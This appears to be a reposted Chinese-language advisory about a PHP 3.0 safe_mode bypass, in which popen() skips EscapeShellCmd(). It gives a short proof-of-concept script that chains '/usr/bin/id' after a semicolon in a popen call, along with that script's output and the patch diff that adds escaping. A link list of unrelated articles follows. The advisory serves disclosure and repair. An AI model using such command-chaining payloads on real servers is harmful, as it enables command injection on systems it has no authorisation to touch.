PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
一个PHP+MSSQL分页的例子
Oct 09 PHP
ThinkPHP中实例Model方法的区别说明
Aug 21 PHP
linux使用crontab实现PHP执行计划定时任务
May 10 PHP
php+MySQL判断update语句是否执行成功的方法
Aug 28 PHP
php数组去除空值函数分享
Feb 02 PHP
分享一则PHP定义函数代码
Feb 26 PHP
PHP函数实现从一个文本字符串中提取关键字的方法
Jul 01 PHP
php+jQuery+Ajax简单实现页面异步刷新
Aug 08 PHP
PHP简单遍历对象示例
Sep 28 PHP
PHPstorm激活码2020年5月13日亲测有效
Sep 17 PHP
解决thinkphp6(tp6)在状态码500下不报错,或者显示错误“Malformed UTF-8 characters”的问题
Apr 01 PHP
PHP实现两种排课方式
Jun 26 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
浅谈使用 PHP 进行手机 APP 开发(API 接口开发)
2014/08/11 PHP
php文件上传你必须知道的几点
2015/10/20 PHP
ASP.NET中使用后端代码注册脚本 生成JQUERY-EASYUI的界面错位的解决方法
2010/06/12 Javascript
修改jquery里的dialog对话框插件为框架页(iframe) 的方法
2010/09/14 Javascript
THREE.JS入门教程(5)你应当知道的十件事
2013/01/24 Javascript
jquery 扑捉回车键事件代码
2014/04/24 Javascript
javascript实现给定半径求出圆的面积
2015/06/26 Javascript
javascript实现简单查找与替换的方法
2015/07/22 Javascript
Javascript实现图片轮播效果(一)让图片跳动起来
2016/02/17 Javascript
JS正则RegExp.test()使用注意事项(不具有重复性)
2016/12/28 Javascript
微信小程序实现顶部导航特效
2019/01/28 Javascript
详解JavaScript修改注册表的方法
2020/01/05 Javascript
Bootstrap简单实用的表单验证插件BootstrapValidator用法实例详解
2020/03/29 Javascript
python中使用百度音乐搜索的api下载指定歌曲的lrc歌词
2014/07/18 Python
Python人脸识别第三方库face_recognition接口说明文档
2019/05/03 Python
python 使用turtule绘制递归图形(螺旋、二叉树、谢尔宾斯基三角形)
2019/05/30 Python
python判断文件夹内是否存在指定后缀文件的实例
2019/06/10 Python
python 整数越界问题详解
2019/06/27 Python
Python pip替换为阿里源的方法步骤
2019/07/02 Python
python使用正则来处理各种匹配问题
2019/12/22 Python
Python+opencv+pyaudio实现带声音屏幕录制
2019/12/23 Python
解决reload(sys)后print失效的问题
2020/04/25 Python
python ssh 执行shell命令的示例
2020/09/29 Python
Python 实现键盘鼠标按键模拟
2020/11/18 Python
日本面向世界,国际级的免税在线购物商城:DOKODEMO
2017/02/01 全球购物
英国最大的高品质珠宝和手表专家:Goldsmiths
2017/03/11 全球购物
网站编辑求职信
2013/10/17 职场文书
建筑公司文秘岗位职责
2013/11/29 职场文书
反腐倡廉警示教育活动总结
2014/05/05 职场文书
2014年国庆节活动总结
2014/08/26 职场文书
党委书记群众路线对照检查材料思想汇报
2014/10/04 职场文书
亮剑精神观后感
2015/06/05 职场文书
2019学生会干事辞职信
2019/06/27 职场文书
教你怎么用python爬取爱奇艺热门电影
2021/05/20 Python
Python数据处理的三个实用技巧分享
2022/04/01 Python
Python各协议下socket黏包问题原理
2022/04/12 Python